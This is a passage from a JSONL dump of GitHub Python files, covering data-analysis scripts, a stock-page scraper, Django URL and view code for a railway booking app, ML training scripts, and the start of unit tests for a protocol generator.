pd.DataFrame([s.__dict__ for s in wh_data])\n df_wh.warehouse_name = df_wh.warehouse_name.str.upper()\n\n df_orders = pd.DataFrame([s.__dict__ for s in orders])\n df_orders['order_datetime'] = df_orders['order_datetime'].astype('datetime64[ns]')\n df_orders['order_datetime'] = (df_orders['order_datetime'] - pd.Timestamp(0)) // pd.Timedelta('1s')\n\n data_ekb = get_prepared_data(df_orders, df_wh, ekb_wh_name)\n data_msk = get_prepared_data(df_orders, df_wh, msk_wh_name)\n\n return StatWarehouse(data_ekb=data_ekb, data_msk=data_msk)\n\n\nif __name__ == '__main__':\n import warnings\n with warnings.catch_warnings(record=True):\n data = get_data_by_warehouse()\n data.data_ekb.to_excel('prepare_ekb.xlsx', index=False)\n data.data_msk.to_excel('prepare_msk.xlsx', index=False)\n","repo_name":"Evgen4567/tg_eware","sub_path":"app/data/statistics.py","file_name":"statistics.py","file_ext":"py","file_size_in_byte":3552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"25486726816","text":"import pandas as pd\nimport collections\nimport numpy as np\nimport matplotlib\nimport matplotlib.pyplot as plt\n\nex=pd.read_excel('2019年12月学业水平考试2018级考生成绩.xls')\nprint(ex.iloc[0,5:10])\n\nmatplotlib.rcParams['font.sans-serif']=['SimHei'] \nmatplotlib.rcParams['axes.unicode_minus']=False\n#plt.ylim(0,900)\n\ndef al(rects):\n\tn=0\n\tfor i in rects:\n\t\tplt.text(i.get_x()+i.get_width()/2,i.get_height()*1.03,i.get_height(),ha='center',va='bottom',fontsize='large')\n\n\ntag=list(ex.iloc[0,5:10])\nprint(tag)\ncolor='rgby'\n\n#c=collections.Counter([ex.iloc[i,4][6:14] for i in range(1,1332)])\nc=collections.Counter([ex.iloc[i,4][10:14] for i in range(1,1332)]).most_common(50)\nname_list=['%d月%d日' % (int(i[0])//100,int(i[0])%100) for i in c]\nc=[i[1] for i in c]\nprint(c)\nprint(len(c))\nprint(name_list)\nplt.ylim(0,20)\nplt.title('浦中高二生日月份分布',fontsize='x-large')\n#name_list=['%d月'%i for i in range(1,13)]\nx=np.linspace(0,len(c),len(c))\nal(plt.bar(x,c,color=['red','green','blue','yellow','pink','lime','royalblue']))\nplt.xticks(x,name_list,rotation=45)\nplt.yticks(np.linspace(0,20,21))\n\n\nplt.show()\n","repo_name":"ladeng07/-Python-","sub_path":"浦中数据分析/精确生日分析.py","file_name":"精确生日分析.py","file_ext":"py","file_size_in_byte":1127,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"68"}
+{"seq_id":"27473456031","text":"'''\nAuthor: Jordan Ott\nDate: February 20th, 2017\nDescription: This module scrapes the top gainers and losers from the New York stock market over the past\n150 business days and outputs the data to csv files.\nRequirements: \n\tpandas\n\tselenium\n\tfirefox\n'''\nimport time\nimport pandas as pd\n# BDay is business day, not birthday...\nfrom pandas.tseries.offsets import BDay\nfrom selenium import webdriver\n\n# URLs for gainers and decliners using the wall street journal\ngainers = [\"http://online.wsj.com/mdc/public/page/2_3021-gainnyse-gainer-\",\".html?mod=mdc_pastcalendar\"]\ndecliners = [\"http://online.wsj.com/mdc/public/page/2_3021-losenyse-loser-\",\".html?mod=mdc_pastcalendar\"]\n\ndef build_past_url(days_since_current,stock_movement):\n\ttoday = pd.datetime.today()\n\tpast_date = today - BDay(days_since_current)\n\tdate = past_date.strftime('%Y%m%d')\n\turl = stock_movement[0] + date + stock_movement[1]\n\treturn url,date\n\ndef scrape_table(data_file,url,date):\n\tdriver.get(url)\n\ttbody = driver.find_elements_by_css_selector('tbody')\n\ttable_body = tbody[5]\n\tif len(tbody) == 10:\n\t\ttable_body = tbody[6]\n\ttable_rows = table_body.find_elements_by_css_selector(\"tr\")\n\tfor index in range(1,len(table_rows)):\n\t\tindividual_row = table_rows[index].find_elements_by_css_selector(\"td\")\n\t\tcompany_name = individual_row[1].find_elements_by_css_selector('a')[0].text\n\t\tcompany_name = company_name[company_name.find(\"(\")+1:company_name.find(\")\")]\n\t\tprice = individual_row[2].text\n\t\tdollar_change = individual_row[3].text\n\t\tpercent_change = individual_row[4].text\n\t\tline = date +','+ company_name +','+ price +','+ dollar_change +','+ percent_change +'\\n'\n\t\t\n\t\tdata_file.write(line)\n\t\n# 150 for last 150 business days\n'''\nfor num in range(1,150):\n\tgainers_url,date = build_past_url(num,gainers)\n\tdecliners_url,date = build_past_url(num,decliners)\n\tscrape_table(gainers_file,gainers_url,date)\n\tscrape_table(decliners_file,decliners_url,date)\n\tprint(num)\n'''\ndef get_daily():\n\tdriver = webdriver.Firefox()\n\n\tgainers_file = open(\"gainers.csv\",'w')\n\tdecliners_file = open(\"decliners.csv\",'w')\n\t\n\tgainers_url = \"http://online.wsj.com/mdc/public/page/2_3021-gainnyse-gainer.html\"\n\tdecliners_url = \"http://online.wsj.com/mdc/public/page/2_3021-losenyse-loser.html\"\n\tdate = pd.datetime.today().strftime('%Y%m%d')\n\n\tscrape_table(gainers_file,gainers_url,date)\n\tscrape_table(decliners_file,decliners_url,date)\n\n\tgainers_file.close()\n\tdecliners_file.close()\n\tdriver.quit()\n","repo_name":"jordanott/Stock-Trading-Bot","sub_path":"stock_scrapper.py","file_name":"stock_scrapper.py","file_ext":"py","file_size_in_byte":2435,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"68"}
+{"seq_id":"73561166937","text":"\"\"\"MedicalEgzersiz URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.1/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib.auth import views as auth_views\nfrom django.conf import settings\nfrom django.conf.urls.static import static\nfrom django.contrib import admin\nfrom django.urls import path, include\n\nfrom MedicalEgzersiz import views\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('',views.homepage,name='home-page'),\n path('home/dashboard', views.home, name='home-dashboard'),\n\n path('login/', auth_views.LoginView.as_view(template_name='pages/login.html'), name='login'),\n path('logout/', auth_views.LogoutView.as_view(template_name='pages/logout.html'), name='logout'),\n path('personal_register/', auth_views.LoginView.as_view(template_name='pages/personal_register.html'),\n name='personal_register'),\n path('registration/', include('registration.urls')),\n path('fitness/', include('fitness.urls')),\n path('postural/', include('postural.urls')),\n path('medical/', include('medical.urls')),\n path('athletic/', include('athletic.urls')),\n path('exercise_prescription/', include('exercise_prescription.urls')),\n path('corrective_exercise/', include('corrective_exercise.urls')),\n path('medical_exercise/', include('medical_exercise.urls')),\n path('athletic_development/', include('athletic_development.urls')),\n path('exercise_tracking/', include('exercise_tracking.urls')),\n path('finance_module/', include('finance_module.urls')),\n path('reporting_analysis/', include('reporting_analysis.urls')),\n path('forms_contents/', include('forms_contents.urls')),\n path('settings/', include('settings.urls')),\n path('pilates/', include('pilates.urls')),\n path('metabolic/', include('metabolic.urls')),\n\n ] \\\n + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT) \\\n + static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)\n","repo_name":"cetinercelik/FitnessMonitor","sub_path":"MedicalEgzersiz/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"32927646113","text":"from . import utils\nimport pdfx\nfrom pyresparser import ResumeParser\nimport random\n\n\n\nclass ResumeExtract(object):\n def __init__(self, fileName):\n self.__details = {\n 'personal_details': {\n 'name': None,\n 'email': None,\n 'mobile_number': None,\n },\n 'skills': None,\n 'education': None,\n 'experience': None,\n 'no_of_pages': None,\n 'links': None,\n 'total_experience': None,\n 'projects': None,\n 'achievements': None,\n 'hobbies': None,\n 'score':None\n }\n self.__fileName = fileName\n\n def __get_details(self, fileName):\n # Modify and regroup extracted data\n pdf = pdfx.PDFx(fileName)\n links = pdf.get_references_as_dict()\n data = ResumeParser(fileName).get_extracted_data()\n\n self.__details[\"personal_details\"]['name'] = data[\"name\"]\n self.__details[\"personal_details\"]['email'] = data[\"email\"]\n self.__details[\"personal_details\"]['mobile_number'] = data[\"mobile_number\"]\n self.__details[\"skills\"] = data[\"skills\"]\n self.__details[\"education\"] = data[\"degree\"]\n self.__details[\"projects\"] = utils.getProjects()\n self.__details[\"achievements\"] = utils.getAchievements()\n self.__details[\"hobbies\"] = utils.getHobbies()\n self.__details[\"experience\"] = data[\"experience\"]\n self.__details[\"no_of_pages\"] = data[\"no_of_pages\"]\n self.__details[\"links\"] = utils.getLinks(links)\n self.__details[\"total_experience\"] = data[\"total_experience\"]\n # For testing, replace with real algo later\n self.__details[\"score\"] = random.randint(60,100)\n\n return self.__details\n\n def get_data(self):\n # Return grouped and modified data\n return self.__get_details(self.__fileName)\n","repo_name":"Yashdew/Assessor","sub_path":"api/resume/extraction/resumeextraction.py","file_name":"resumeextraction.py","file_ext":"py","file_size_in_byte":1901,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"68"}
+{"seq_id":"3975609272","text":"import tensorflow as tf\nfrom .utils import tensor_to_image\nfrom .models import TransformModel\nimport PIL\nimport numpy as np\nimport IPython.display as display\nimport time\nfrom datetime import datetime\nimport os\n\n\ndef tensor_to_image(tensor):\n tensor = np.array(tensor, dtype=np.uint8)\n if np.ndim(tensor) > 3:\n assert tensor.shape[0] == 1\n tensor = tensor[0]\n return PIL.Image.fromarray(tensor)\n\n\ndef FastStyleTransfer(image_type, image_path):\n opt = tf.keras.optimizers.Adam(learning_rate=1e-3)\n train = TransformModel()\n model_save_path = os.getcwd() + '/FastStyleTransfer/' + image_type\n ckpt = tf.train.Checkpoint(step=tf.Variable(0), optimizer=opt, net=train)\n manager = tf.train.CheckpointManager(\n ckpt, model_save_path, max_to_keep=3)\n ckpt.restore(manager.latest_checkpoint)\n net = ckpt.net\n image = PIL.Image.open(image_path)\n image = np.array(image, dtype=np.float32)\n\n if len(image.shape) == 2:\n image = np.stack((image, image, image))\n # Channel=4 인 경우\n elif image.shape[-1] == 4:\n image = PIL.Image.open(image_path).convert('RGB')\n image = np.array(image, dtype=np.float32)\n # Channel=2 인 경우\n elif image.shape[-1] == 2:\n image = 255.-image[:,:,1]\n image = np.dstack((image, image, image))\n # batch_size 추가 (tensorflow는 4차원 tensor가 입력으로 주어짐)\n\n image = np.expand_dims(image, axis=0)\n # with tf.device('/device:XLA_CPU:0'):\n # train = TransformModel()\n # styles = net(image)\n\n train = TransformModel()\n styles = net(image)\n\n image = tensor_to_image(styles)\n time = str(datetime.now().hour) + str(datetime.now().minute) + \\\n str(datetime.now().second)\n result_name = f'result_{time}.jpg'\n UPLOAD_URL = os.getcwd() + '/static/faststyletransfer/result/' + result_name\n image.save(UPLOAD_URL)\n return result_name\n","repo_name":"ContecPluto/SSAFY-ART","sub_path":"flask_server/FastStyleTransfer/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"21027037686","text":"import os, argparse, torch, random, sys\nfrom Trainer import train, test\nfrom Load_model import Load_SE_model, Load_data, Load_data_VC\nfrom utils.util import check_folder\nfrom utils.load_asr_data import load_y_dict\nfrom tensorboardX import SummaryWriter\nfrom CombinedModel import CombinedModel, CombinedModel_VC\nfrom espnet.nets.pytorch_backend.transformer.optimizer import get_std_opt\nfrom espnet.asr.asr_utils import get_model_conf\nimport torch.backends.cudnn as cudnn\nimport pandas as pd\n# import pdb\n\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"4\"\n# fix random\nSEED = 999\nrandom.seed(SEED)\ntorch.manual_seed(SEED)\ncudnn.deterministic = True\n\n\n\ndef get_args():\n parser = argparse.ArgumentParser()\n parser.add_argument('--mode', type=str, default='train')\n #####\n parser.add_argument('--train_noisy', type=str, default='')\n parser.add_argument('--train_clean', type=str, default='')\n parser.add_argument('--test_noisy', type=str, default='')\n parser.add_argument('--test_clean', type=str, default='')\n parser.add_argument('--out_path', type=str, default='')\n #####\n parser.add_argument('--epochs', type=int, default=150)\n parser.add_argument('--batch_size', type=int, default=4) \n parser.add_argument('--lr', type=float, default=0.00005)\n parser.add_argument('--loss_fn', type=str, default='l1')\n parser.add_argument('--optim', type=str, default='adam')\n parser.add_argument('--SEmodel', type=str, default='transformerencoder_03') \n #####\n parser.add_argument('--val_ratio', type=float, default = 0.1)\n parser.add_argument('--train_num', type=int, default = None)\n parser.add_argument('--test_num', type=int, default = None)\n #####\n parser.add_argument('--Espnet_path', type=str, default=None)\n parser.add_argument('--ASRmodel_path', type=str, default='data/ASRmodel.acc.best.entire')\n parser.add_argument('--VCmodel_path', type=str, default='data/TTSmodel.pretrained.entire')\n parser.add_argument('--VC_test_json', type=str, default=None)\n #####\n parser.add_argument('--alpha', type=float, default=0.001) #loss = (1 - self.alpha) * SEloss + self.alpha * ASRloss\n parser.add_argument('--alpha_epoch', type=int, default=70) # alpha = 0 when epoch < alpha_epoch\n parser.add_argument('--asr_y_path', type=str, default='data/data_test.json,data/data_train_dev.json,data/data_train_nodev.json') \n parser.add_argument('--gpu', type=str, default='0')\n parser.add_argument('--target', type=str, default='MAP') #'MAP' or 'IRM'\n parser.add_argument('--task', type=str, default='DNS_SE') \n parser.add_argument('--resume' , action='store_true')\n parser.add_argument('--retrain', action='store_true')\n parser.add_argument('--corpus', type=str, default=\"TIMIT\") # corpus: TIMIT, TMHINT, TMHINT_DYS\n parser.add_argument('--asr_result', type=str, default=None)\n parser.add_argument('--tag', type=str, default=\"\")\n parser.add_argument('--after_alpha_epoch', action='store_true') # on when test or retrain using after_alpha_epoch model\n parser.add_argument('--re_epochs', type=int, default=150)\n parser.add_argument('--checkpoint', type=str, default=None)\n args = parser.parse_args()\n args = get_path(args)\n return args\n\ndef get_path(args):\n tag_str = \"\"\n if args.tag:\n tag_str = \"_\" + args.tag\n args.checkpoint_path = f'{args.out_path}/checkpoint/{args.SEmodel}{tag_str}_{args.target}_epochs{args.epochs}' \\\n f'_{args.optim}_{args.loss_fn}_alpha{args.alpha}_alpha_epoch{args.alpha_epoch}_batch{args.batch_size}_'\\\n f'lr{args.lr}.pth.tar'\n args.model_path = f'{args.out_path}/save_model/{args.SEmodel}{tag_str}_{args.target}_epochs{args.epochs}' \\\n f'_{args.optim}_{args.loss_fn}_alpha{args.alpha}_alpha_epoch{args.alpha_epoch}_batch{args.batch_size}_'\\\n f'lr{args.lr}.pth.tar'\n args.score_path = f'{args.out_path}/Result/{args.SEmodel}{tag_str}_{args.target}_epochs{args.epochs}' \\\n f'_{args.optim}_{args.loss_fn}_alpha{args.alpha}_alpha_epoch{args.alpha_epoch}_batch{args.batch_size}_'\\\n f'lr{args.lr}.csv'\n\n if args.after_alpha_epoch:\n args.model_path = args.model_path.replace(\"_alpha_epoch\",\"_after_alpha_epoch\")\n args.checkpoint_path = args.checkpoint_path.replace(\"_alpha_epoch\",\"_after_alpha_epoch\")\n args.score_path = args.score_path.replace(\"_alpha_epoch\",\"_after_alpha_epoch\")\n\n args.enhance_path = f'{args.out_path}/Enhanced/{args.SEmodel}/'\n return args\n\n\nif __name__ == '__main__':\n # get current path\n cwd = os.path.dirname(os.path.abspath(__file__))\n print(cwd)\n print(SEED)\n \n # get and process arguments\n args = get_args()\n \n # tensorboard\n writer = SummaryWriter(f'{args.out_path}/logs')\n\n \n \n if args.corpus==\"TMHINT_DYS\":\n if args.mode == 'test':\n print(\"Error: Run test using the VC script!\")\n exit()\n exit()\n exit()\n \n # TMHINT Train\n epoch=0\n args.checkpoint_path=args.checkpoint_path.replace(\"transformerencoder_03\",\"VCmodel\")\n args.model_path=args.model_path.replace(\"transformerencoder_03\",\"VCmodel\")\n args.score_path=args.score_path.replace(\"transformerencoder_03\",\"VCmodel\")\n \n if args.retrain or args.resume:\n idim, odim, train_args = get_model_conf(args.model_path, None)\n semodel, epoch, best_loss, optimizer, criterion, device = Load_SE_model(args, idim, odim, train_args)\n model = CombinedModel_VC(args,semodel)\n else:\n best_loss=1000\n device = torch.device(f'cuda:{args.gpu}')\n model = CombinedModel_VC(args)\n \n loader = Load_data_VC(args, model.SEmodel.args)\n \n else:\n # load and construct the model\n semodel, epoch, best_loss, optimizer, secriterion, device = Load_SE_model(args)\n model = CombinedModel(args, semodel, secriterion)\n if args.mode == 'train':\n loader = Load_data(args)\n else:\n asr_dict = load_y_dict(args)\n\n\n\n # control parameter\n if args.mode == 'train':\n for param in model.SEmodel.parameters():\n param.requires_grad = True\n else:\n for param in model.SEmodel.parameters():\n param.requires_grad = False\n\n for param in model.ASRmodel.parameters():\n param.requires_grad = False\n \n # if args.retrain:\n # args.epochs = args.re_epochs \n \n \n try:\n if args.mode == 'train':\n if args.corpus==\"TMHINT_DYS\":\n # --adim, default=384, type=int, \"Number of attention transformation dimensions\"\n optimizer = get_std_opt(model.SEmodel.parameters(), 384, model.SEmodel.args.transformer_warmup_steps, model.SEmodel.args.transformer_lr)\n train(model, args.epochs, epoch, best_loss, optimizer, \n device, loader, writer, args.model_path, args)\n \n # mode==\"test\"\n else: \n test(model, device, args.test_noisy, args.test_clean, asr_dict, args.enhance_path, args.score_path, args)\n \n except KeyboardInterrupt:\n state_dict = {\n 'epoch': epoch,\n 'model': model.state_dict(),\n 'optimizer': optimizer.state_dict(),\n 'best_loss': best_loss\n }\n check_folder(args.checkpoint_path)\n torch.save(state_dict, args.checkpoint_path)\n print('Saved interrupt')\n try:\n sys.exit(0)\n except SystemExit:\n os._exit(0)\n","repo_name":"neillu23/E2ESE","sub_path":"PytorchSE/secode/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7623,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"68"}
+{"seq_id":"72708846296","text":"from django.shortcuts import render,render_to_response\nfrom django.http import HttpResponseRedirect\nfrom django.template.context_processors import csrf\nfrom BookTicket.models import BookedTicketDetails,PassengerDetails,TrainBooked\nfrom django.core.exceptions import ObjectDoesNotExist\n\n# Create your views here.\n\ndef cancel_view(request):\n\tc={}\n\tc.update(csrf(request))\n\ttry:\n\t\trequest.session['username']\n\texcept KeyError:\n\t\treturn HttpResponseRedirect('/loginModule/loginPage/',c)\n\telse:\n\t\treturn render_to_response('cancelTicket.html',c)\n\ndef cancel_validate(request):\n\tc={}\n\tc.update(csrf(request))\n\ttry:\n\t\trequest.session['username']\n\texcept KeyError:\n\t\treturn HttpResponseRedirect('/loginModule/loginPage/',c)\n\telse:\n\t\tpnr=request.POST.get('pnr_number','')\n\t\tif(len(pnr)!=9):\n\t\t\tmsg=\"PNR Number Should Be Of Length 9...\"\n\t\t\tc.update({'errorMsg':msg})\n\t\t\treturn render_to_response('invalidcancelTicket.html',c)\n\n\t\ttry:\n\t\t\tt=BookedTicketDetails.objects.get(PNRno=pnr)\n\t\texcept ObjectDoesNotExist:\n\t\t\tmsg=\"PLEASE ENTER VALID PNR NUMBER....\"\n\t\t\tc.update({'errorMsg':msg})\n\t\t\treturn render_to_response('invalidcancelTicket.html',c)\n\t\telse:\n\t\t\tif t.username!=request.session['username']:\t\n\t\t\t\tmsg=\"PLEASE ENTER VALID PNR NUMBER....\"\n\t\t\t\tc.update({'errorMsg':msg})\n\t\t\t\treturn render_to_response('invalidcancelTicket.html',c)\n\t\t\telse:\n\t\t\t\tp=PassengerDetails.objects.filter(PNRno=t)\n\t\t\t\ttb=TrainBooked.objects.get(date=t.doj_id)\n\t\t\t\ttseat=0\n\t\t\t\tplist=list(p)\n\t\t\t\tcl=plist[0].coachNo[0:2]\n\t\t\t\trefund=t.totalPrice\n\t\t\t\tfor x in p:\n\t\t\t\t\ttseat=tseat+1\n\t\t\t\tif cl=='CC':\n\t\t\t\t\ttb.availableCC=tb.availableCC+tseat\n\t\t\t\t\tif refund > 120:\n\t\t\t\t\t\trefund=refund-tseat*120\n\t\t\t\t\telse:\n\t\t\t\t\t\trefund=0\n\t\t\t\telse:\n\t\t\t\t\ttb.available2S=tb.available2S+tseat\n\t\t\t\t\tif refund > 60:\n\t\t\t\t\t\trefund=refund-tseat*60\n\t\t\t\t\telse:\n\t\t\t\t\t\trefund=0\n\t\t\t\ttb.save()\n\t\t\t\tt.delete()\n\t\t\t\tc.update({'pnr':pnr})\n\t\t\t\tc.update({'tp':refund})\t\t\t\t\n\n\t\t\t\treturn render_to_response('confirmCancel.html',c)","repo_name":"ChintalJain/OnlineRailwayReservationSystemUsingPython","sub_path":"CancelTicket/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1948,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"68"}
+{"seq_id":"35308855753","text":"# -*- coding: utf-8 -*-\n\"\"\"\nSplit factors in the 'grid' dataFrame into test/train datasets\n\n First split the data by order_id and then get the associated rows from \n the factors table.\n\n\"\"\"\n\ntestsize = 0.2\n\n# fields to drop\nfdrop = ['label', 'eval_set', 'order_id']\n\n# extract the \"development\" data from the competition \"test\" data\ndev_factors = grid[grid.eval_set != 'test']\nsubmission_factors = grid[grid.eval_set == 'test']\n\n# split 'dev' data by orders \notemp = pd.DataFrame((dev_factors.order_id.unique()), columns=['order_id'])\no_train, o_test = train_test_split(otemp, test_size=testsize, random_state=22)\n\n\n# Get the data rows for the corresponding test/train orders\n\nX_train = pd.merge(o_train, dev_factors)\ny_train = X_train.label\nX_train = X_train.drop(fdrop, axis=1)\n\nX_test = pd.merge(o_test, dev_factors)\ny_test = X_test.label\nX_test = X_test.drop(fdrop, axis=1)\n \n\n# Get the submission factors\n\n#y_sub = submission_factors.label\nX_sub = submission_factors.drop(fdrop, axis=1)\n\n\n\n\n","repo_name":"rosez/KaggleMarketBasketAnalysis","sub_path":"Modeling/30SplitTrainTestSubmissionData.py","file_name":"30SplitTrainTestSubmissionData.py","file_ext":"py","file_size_in_byte":1003,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"29330067136","text":"import logging\nimport os\nimport shutil\nimport tempfile\nfrom pathlib import Path\nfrom subprocess import CalledProcessError # nosec\nfrom unittest import TestCase, mock\n\nfrom aea.protocols.generator.common import (\n _camel_case_to_snake_case,\n _create_protocol_file,\n _get_sub_types_of_compositional_types,\n _has_matched_brackets,\n _includes_custom_type,\n _match_brackets,\n _python_pt_or_ct_type_to_proto_type,\n _to_camel_case,\n _union_sub_type_to_protobuf_variable_name,\n apply_protolint,\n base_protolint_command,\n check_prerequisites,\n check_protobuf_using_protoc,\n compile_protobuf_using_protoc,\n is_installed,\n load_protocol_specification,\n try_run_black_formatting,\n try_run_isort_formatting,\n try_run_protoc,\n)\n\nfrom tests.test_aea.test_protocols.test_generator.common import (\n PATH_TO_T_PROTOCOL_SPECIFICATION,\n T_PROTOCOL_NAME,\n)\n\n\nlogger = logging.getLogger(\"aea\")\nlogging.basicConfig(level=logging.INFO)\n\n\ndef isort_is_not_installed_side_effect(*args, **kwargs):\n \"\"\"Isort not installed.\"\"\"\n return not args[0] == \"isort\"\n\n\ndef protolint_is_not_installed_side_effect(*args, **kwargs):\n \"\"\"Protolint not installed.\"\"\"\n return not args[0] == \"protolint\"\n\n\ndef black_is_not_installed_side_effect(*args, **kwargs):\n \"\"\"Black not installed.\"\"\"\n return not args[0] == \"black\"\n\n\ndef protoc_is_not_installed_side_effect(*args, **kwargs):\n \"\"\"Protoco not installed.\"\"\"\n return not args[0] == \"protoc\"\n\n\nclass TestCommon(TestCase):\n \"\"\"Test for generator/common.py.\"\"\"\n\n @classmethod\n def setup_class(cls):\n \"\"\"Setup test.\"\"\"\n cls.cwd = os.getcwd()\n cls.t = tempfile.mkdtemp()\n os.chdir(cls.t)\n\n def test_to_camel_case(self):\n \"\"\"Test the '_to_camel_case' method.\"\"\"\n input_text_1 = \"this_is_a_snake_case_text\"\n expected_1 = \"ThisIsASnakeCaseText\"\n output_1 = _to_camel_case(input_text_1)\n assert output_1 == expected_1\n\n input_text_2 = \"This_is_a_Snake_Case_text\"\n expected_2 = \"ThisIsASnakeCaseText\"\n output_2 = _to_camel_case(input_text_2)\n assert output_2 == expected_2\n\n def test_camel_case_to_snake_case(self):\n \"\"\"Test the '_camel_case_to_snake_case' method.\"\"\"\n input_text_1 = \"ThisIsASnakeCaseText\"\n expected_1 = \"this_is_a_snake_case_text\"\n output_1 = _camel_case_to_snake_case(input_text_1)\n assert output_1 == expected_1\n\n def test_match_brackets(\n self,\n ):\n \"\"\"Positive test the '_match_brackets' method.\"\"\"\n text_1 = \"[so[met[hi]]ng]\"\n assert _match_brackets(text_1, 0) == 14\n assert _match_brackets(text_1, 3) == 11\n assert _match_brackets(text_1, 7) == 10\n\n text_2 = \"[]]som[]et[hi[ng][sf]\"\n index_2 = 4\n with self.assertRaises(SyntaxError) as cm:\n _match_brackets(text_2, index_2)\n self.assertEqual(\n str(cm.exception),\n \"Index {} in 'text' is not an open bracket '['. It is {}\".format(\n index_2,\n text_2[index_2],\n ),\n )\n\n index_3 = 2\n with self.assertRaises(SyntaxError) as cm:\n _match_brackets(text_2, index_3)\n self.assertEqual(\n str(cm.exception),\n \"Index {} in 'text' is not an open bracket '['. It is {}\".format(\n index_3,\n text_2[index_3],\n ),\n )\n\n index_4 = 10\n with self.assertRaises(SyntaxError) as cm:\n _match_brackets(text_2, index_4)\n self.assertEqual(\n str(cm.exception),\n \"No matching closing bracket ']' for the opening bracket '[' at {} \"\n + str(index_4),\n )\n\n def test_has_matched_brackets(\n self,\n ):\n \"\"\"Positive test the '_has_matched_brackets' method.\"\"\"\n valid_text_1 = \"[so[met[hi]]ng]\"\n assert _has_matched_brackets(valid_text_1) is True\n\n valid_text_2 = \"[[][[]]]\"\n assert _has_matched_brackets(valid_text_2) is True\n\n valid_text_3 = \"[[[[[[[]]]]]]]\"\n assert _has_matched_brackets(valid_text_3) is True\n\n invalid_text_1 = \"[]]som[]et[hi[ng][sf]\"\n assert _has_matched_brackets(invalid_text_1) is False\n\n invalid_text_2 = \"[]][][[][]\"\n assert _has_matched_brackets(invalid_text_2) is False\n\n invalid_text_3 = \"[]]\"\n assert _has_matched_brackets(invalid_text_3) is False\n\n invalid_text_4 = \"[[]\"\n assert _has_matched_brackets(invalid_text_4) is False\n\n def test_get_sub_types_of_compositional_types_positive(\n self,\n ):\n \"\"\"Positive test the '_get_sub_types_of_compositional_types' method.\"\"\"\n composition_type_1 = \"pt:set[pt:int, integer, bool]\"\n expected_1 = (\"pt:int\", \"integer\", \"bool\")\n assert _get_sub_types_of_compositional_types(composition_type_1) == expected_1\n\n composition_type_2 = \"FrozenSet[something, anotherthing]\"\n expected_2 = (\"something\", \"anotherthing\")\n assert _get_sub_types_of_compositional_types(composition_type_2) == expected_2\n\n composition_type_3 = \"pt:list[pt:str]\"\n expected_3 = (\"pt:str\",)\n assert _get_sub_types_of_compositional_types(composition_type_3) == expected_3\n\n composition_type_4 = \"Tuple[bytes, ...]\"\n expected_4 = (\"bytes\",)\n assert _get_sub_types_of_compositional_types(composition_type_4) == expected_4\n\n composition_type_5 = \"pt:dict[pt:int, pt:int]\"\n expected_5 = (\"pt:int\", \"pt:int\")\n assert _get_sub_types_of_compositional_types(composition_type_5) == expected_5\n\n composition_type_6 = \"Dict[bool, float]\"\n expected_6 = (\"bool\", \"float\")\n assert _get_sub_types_of_compositional_types(composition_type_6) == expected_6\n\n composition_type_7 = \"pt:union[ct:DataModel, pt:bytes, pt:int, pt:bool, pt:float, pt:str, pt:set[pt:int], pt:list[pt:bool], pt:dict[pt:str,pt:str]]\"\n expected_7 = (\n \"ct:DataModel\",\n \"pt:bytes\",\n \"pt:int\",\n \"pt:bool\",\n \"pt:float\",\n \"pt:str\",\n \"pt:set[pt:int]\",\n \"pt:list[pt:bool]\",\n \"pt:dict[pt:str,pt:str]\",\n )\n assert _get_sub_types_of_compositional_types(composition_type_7) == expected_7\n\n composition_type_8 = \"Union[int, Tuple[bool, ...]]\"\n expected_8 = (\"int\", \"Tuple[bool, ...]\")\n assert _get_sub_types_of_compositional_types(composition_type_8) == expected_8\n\n composition_type_9 = (\n \"Union[DataModel, FrozenSet[int], Tuple[bool, ...], bytes, Dict[bool,float], int, \"\n \"FrozenSet[bool], Dict[int, str], Tuple[str, ...], bool, float, str, Dict[str, str]]\"\n )\n expected_9 = (\n \"DataModel\",\n \"FrozenSet[int]\",\n \"Tuple[bool, ...]\",\n \"bytes\",\n \"Dict[bool,float]\",\n \"int\",\n \"FrozenSet[bool]\",\n \"Dict[int, str]\",\n \"Tuple[str, ...]\",\n \"bool\",\n \"float\",\n \"str\",\n \"Dict[str, str]\",\n )\n assert _get_sub_types_of_compositional_types(composition_type_9) == expected_9\n\n composition_type_10 = \"pt:optional[pt:union[ct:DataModel, pt:bytes, pt:int, pt:bool, pt:float, pt:str, pt:set[pt:int], pt:list[pt:bool], pt:dict[pt:str,pt:str]]]\"\n expected_10 = (\n \"pt:union[ct:DataModel, pt:bytes, pt:int, pt:bool, pt:float, pt:str, pt:set[pt:int], pt:list[pt:bool], pt:dict[pt:str,pt:str]]\",\n )\n assert _get_sub_types_of_compositional_types(composition_type_10) == expected_10\n\n composition_type_11 = \"Optional[Union[DataModel, bytes, int, bool, float, str, FrozenSet[int], Tuple[bool, ...], Dict[str,str]]]\"\n expected_11 = (\n \"Union[DataModel, bytes, int, bool, float, str, FrozenSet[int], Tuple[bool, 